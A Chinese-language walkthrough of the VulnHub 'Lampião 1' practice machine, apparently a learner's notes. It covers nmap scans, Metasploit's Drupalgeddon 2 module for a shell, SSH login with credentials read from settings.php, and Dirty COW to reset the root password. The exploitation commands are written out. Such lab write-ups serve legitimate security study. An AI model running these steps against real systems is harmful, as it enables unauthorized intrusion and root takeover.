lampiao靶机渗透测试笔记
简单介绍:
Would you like to keep hacking in your own lab?
Try this brand new vulnerable machine! "Lampião 1".
Get root!
Level: Easy
翻译:
你想在自己的实验室里继续黑客攻击吗?
试试这个全新的易受攻击的机器!”Lampião 1”。
获得root权限
级别:简单
下载地址:
https://www.vulnhub.com/entry/lampiao-1,249/
采坑:
1.下载靶机后会发现ovf文件,用VMware打开
2.压缩包不要解压!
OK了,开始测试:
第一阶段:信息收集
ifconfig查看自己的ip地址:192.168.204.xxx
扫描自己的内网(发现阶段)
nmap -sP 192.168.204.0/24
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wofejjvs-1617418105263)(http://images2.5666888.xyz//1.jpg)]
这里是对-sP命令的介绍:
1.-Pn是默认目标主机是存活的,-sP是使用ICMP协议发送echo请求数据包,但是很容易被防火墙过滤掉。想尽可能发现所有存活主机的话,建议使用半开式扫描参数-sS或者ACK扫描参数-sA,还无法确定存活主机的话可以试试-sF -sX -sN等参数。
2.nmap 执行(至少)两步操作,一个是主机发现(Ping),另一个是主机扫描。默认两步是都做的,-P0/-Pn 关闭主机发现,-sP/-sn 关闭主机扫描。两个一起用就是啥也不干,比如 nmap 0.0.0.0 -P0 -sP 显示“host is up”。按照你的要求,不做主机扫描,应该是 -sP,Ping 协议/端口被挡,可以用 -P 的其它选项。比如用 TCP SYN -PS 应该是最快的,UDP -PU 也可以。
只是扫描整个网段里面的所有ip,如果有ping的通的,通过-sP命令会给你显示出来(存活的主机)。
这里发现扫描到的主机有好几台,但是我们的目标是获取lampiao的ip地址,so需要进一步判断:
1.在lampiao靶机的网络配置里面找到mac地址
2.在存活的主机里面找到与之相对应的mac地址
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XumQxDoO-1617418105267)(http://images2.5666888.xyz//3.png)]
3.得到lampiao的IP地址:192.168.204.137
开始对主机进行扫描:
使用如下命令:
nmap -A -p- -T4 192.168.204.137
这里-p是指所有的端口
nmap -p(port1,port2,port3,...) <target ip>
解释:指定几个端口进行扫描
例子:nmap -p80,443,22,21,8080,25,53 192.168.2.107
-T4: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4
nmap -A <target ip>
解释:nmap 万能开关
次选项设置包含了1-10000的端口
ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务
探测。
例子:nmap -A 192.168.2.107
经过扫描得到了3个端口:22、80、1898
可以发现,目标主机开放了三个端口,分别是22,80和1898,22端口是ssh服务,80端口是http服务,但是信息不是很详细,1898端口开放的是http服务,并且使用了Drupal框架
另一种扫描方法:
nmap -sS -sV -Pn -n -A 192.168.191.133
-sS 使用SYN半开式扫描,这种扫描方式使得扫描结果更加正确(又称半开放,或隐身扫描)
-sV 探测端口的服务类型/具体版本等信息
-Pn 禁用主机检测,目标主机屏蔽了ping请求时可用
-n表示不进行dns解析,-p表示要
-A强力扫描,耗时长
这种方法比上一种方法要快,且更为保险
Drupal框架显示在这里:
得到版本为7(忘记截屏了),还发现了一些目录和文件!!
例如:/robots.txt文件
g)
然后打开浏览器访问192.168.204.137:80端口得到如下页面(啥也没有。。。):
但是当我们访问1898端口的时候出现如下页面:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z8ggUSxP-1617418105271)(http://images2.5666888.xyz//7.png)]
第二阶段:漏洞利用
在扫描端口的时候可以发现目标使用了Drupal框架,并且是7的版本,7的版本存在一些漏洞,可以利用这些漏洞来获得shell
在网站中查找信息,看能否找到Drupal的具体版本
查看网站的robots.txt文件
这里是因为通过扫描发现了robots.txt(属于敏感信息范畴)
访问:
192.168.204.137:1898/robots.txt
得到如下信息:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f3gtax2y-1617418105272)(http://images2.5666888.xyz//8.png)]
这里是在注释为文件一栏目中的文件:changelog.txt(这里为大写)意思为改变的日志(更新日志)
访问192.168.204.137:1898/CHANGELOG.txt得到如下信息:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cRcQtIUE-1617418105272)(http://images2.5666888.xyz//9.png)]
得到drupal的版本信息:7.54
然后就可以去网上搜索一下关于该版本的漏洞,然后针对漏洞进行攻击!
在网上可以查到Drupal7.54存在的漏洞:
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=drupal
可以利用metasploit来针对此版本的Drupal进行攻击,获得shell(咋看出来的我也不知道)
经过查阅发现msf可以搜索一个框架的漏洞
建议搜狗访问(因为可以翻译,别的浏览器我找不到在哪里翻译-_-||)然后翻译后发现:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6S242zdw-1617418105273)(http://images2.5666888.xyz//10.png)]
这个版本的漏洞简直数不胜数(但是现在的依然需要根据教程来操作-_-||)
接下来就是针对msf的使用
search drupal搜索其漏洞得到:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oydczi6m-1617418105273)(http://images2.5666888.xyz//11.png)]
2.使用Drupal Drupalgeddon 2 Forms API Property Injection(远程代码执行漏洞)
use 4
set rhost 192.168.204.137
set rport 1898
show targets
set target 0#查看以及设置目标操作系统类型
run #上面两步推荐的方式,这里我们直接run,这步结束后会得到一个会话用来连接对面的shell
shell
python -c 'import pty; pty.spawn("/bin/bash")' #执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用 python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如上
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FZSR0hYY-1617418105274)(http://images2.5666888.xyz//12.png)]
此时获取了shell然后开始查看当下目录
在var/www/html/sites/default目录下找到配置文件settings.php,发现敏感信息,tiago以及密码,很有可能就是其系统用户tiago的密码,如下图:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q8ZMguZD-1617418105274)(http://images2.5666888.xyz//321.jpg)]
打开192.168.204.137:1898端口,发现了一篇文章的提交者,说明什么!这个人就很有可能是这个网站的管理员,或者系统用户所以就试试呗,毕竟信息收集也就这么多了。。
然后利用ssh协议进行远程登录
ssh tiago@192.168.204.137
成功获取shell!
最重要一步↓
脏牛提权!!
uname -a查看一下内核信息:2016年的这是
searchsploit dirty直接脏牛的木马喽一眼//看网上说用这个脚本提权
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ~
注意这里的 ~,他前面的是这个脚本的文件目录,~可以改为/root或者/home反正就是搁主目录下,一个ls就能看见那种
如下图:
然后再回到msf页面ctrl+c返回控制台
meterpreter > upload /root/40847.cpp /tmp/40847.cpp
把我/root文件下的目录传到/tmp目录下
shell//继续连接回去
python -c 'import pty; pty.spawn("/bin/bash")'//进入TTL终端
然后回到/tmp目录下ls查看:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
进行编译这是
关于参数
1-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4-std=c++11就是用按C++2011标准来编译的
5-pthread 在Linux中要用到多线程时,需要链接pthread库
6-o dcow gcc生成的目标文件,名字为dcow
./dcow -s#执行该文件 ./dcow > status.txt有同样的效果
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v3oIoHij-1617418105276)(http://images2.5666888.xyz//搜狗截图20年12月25日2217_3.png)]
然后会发现该漏洞利用成功,已将root密码修改!
www-data@lampiao:/tmp$ ./dcow > status.txt
./dcow > status.txt
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
www-data@lampiao:/tmp$ su root
su root
Password: dirtyCowFun
root@lampiao:/tmp# ls
root@lampiao:/# cd /root
cd /root
root@lampiao:~# ls
ls
flag.txt
root@lampiao:~# cat flag.txt
cat flag.txt
9740616875908d91ddcdaa8aea3af366
能做到此步十分感谢,十分感谢网上各位大佬的wp
总结:
对各种工具的掌握十分fw
不会就百度
对脏牛提取有了大体的认识